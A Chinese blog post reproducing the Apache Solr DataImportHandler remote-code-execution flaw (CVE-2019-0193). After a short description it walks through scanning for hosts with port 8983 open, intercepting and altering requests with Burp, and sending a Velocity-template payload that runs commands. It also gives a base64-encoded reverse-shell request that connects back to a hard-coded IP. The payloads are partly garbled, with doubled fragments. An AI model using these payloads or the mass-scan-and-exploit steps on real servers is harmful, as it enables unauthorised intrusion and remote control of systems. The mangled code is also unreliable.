Apache Solr远程代码执行漏洞 (CVE-2019-0193)复现操作

回眸只為那壹抹淺笑 提交于 2019-12-15 10:49:15

QQ交流学习群:811401950

一. 漏洞描述
2019年11月16日,Apache官方发布Apache Solr远程代码执行漏洞(CVE-2019-0193)安全通告,此漏洞存在于可选模块DataImportHandler 中,DataImportHandler是用于从数据库或其他源提取数据的常用模块,该模块中所有DIH配置都可以通过外部请求的dataConfig参 数来设置,由于DIH配置可以包含脚本,因此该参数存在安全隐患。攻击者可利用dataConfig参数构造恶意请求,实现远程代码执行,请相关用户尽快升级Solr至安全版本,以确保对此漏洞的有效防护。

二. 复现操作

  1. 批量搜一下开了8983端口的主机
    在这里插入图片描述
    2.访问目标主机,找到漏洞的位置,点到 core selector那个按钮,burp抓包拦截
    在这里插入图片描述
    在这里插入图片描述
    3.发送到repeater,把上图请求的admin 改为item(这里注意对应的模块),后面再加config 查看是否有其配置文件,如果没有配置文件,则说明可能目标不存在这种漏洞,这也是一种检测方式?
    在这里插入图片描述
    4.因为该漏洞所影响的模块可以利用外部的请求来修改,所以利用恶意的请求payload去修改配置,修改了配置过后,就导致可以执行恶意的脚本,从而发起带有恶意代码的请求。
    在这里插入图片描述

5,修改了配置过后,便可以带上恶意脚本的请求去发起访问了,从而导致了远程代码执行,请求路径内容如下图

payloadselect?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set(x=x=%27%27)+%23set(rt=x.class.forName(x.class.forName(%27java.lang.Runtime%27))+%23set(chr=x.class.forName(x.class.forName(%27java.lang.Character%27))+%23set(str=x.class.forName(x.class.forName(%27java.lang.String%27))+%23set(ex=rt.getRuntime().exec(rt.getRuntime().exec(%27pwd%27))+ex.waitFor()+%23set(out=out=ex.getInputStream())+%23foreach(i+in+[1..i+in+[1..out.available()])str.valueOf(str.valueOf(chr.toChars($out.read()))%23end

在这里插入图片描述
6. 远程代码执行成功

  1. 反弹shell payload:

linux 反弹shell命令 bash -i >& /dev/tcp/ip/port 0>&1 (至于payload中为什么要base64编码不太清楚…)

http://ip 8983/solr/item/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set(x=x=%27%27)+%23set(rt=x.class.forName(x.class.forName(%27java.lang.Runtime%27))+%23set(chr=x.class.forName(x.class.forName(%27java.lang.Character%27))+%23set(str=x.class.forName(x.class.forName(%27java.lang.String%27))+%23set(ex=rt.getRuntime().exec(rt.getRuntime().exec(%27bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMS4yMDMuMi4yMTgvMTIzNCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27))+ex.waitFor()+%23set(out=out=ex.getInputStream())+%23foreach(i+in+[1..i+in+[1..out.available()])str.valueOf(str.valueOf(chr.toChars($out.read()))%23end

三. 漏洞特征:

端口:8983,http

路径:/solr/item/config

四. 影响范围

受影响版本 :

Apache Solr < 8.2.0

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!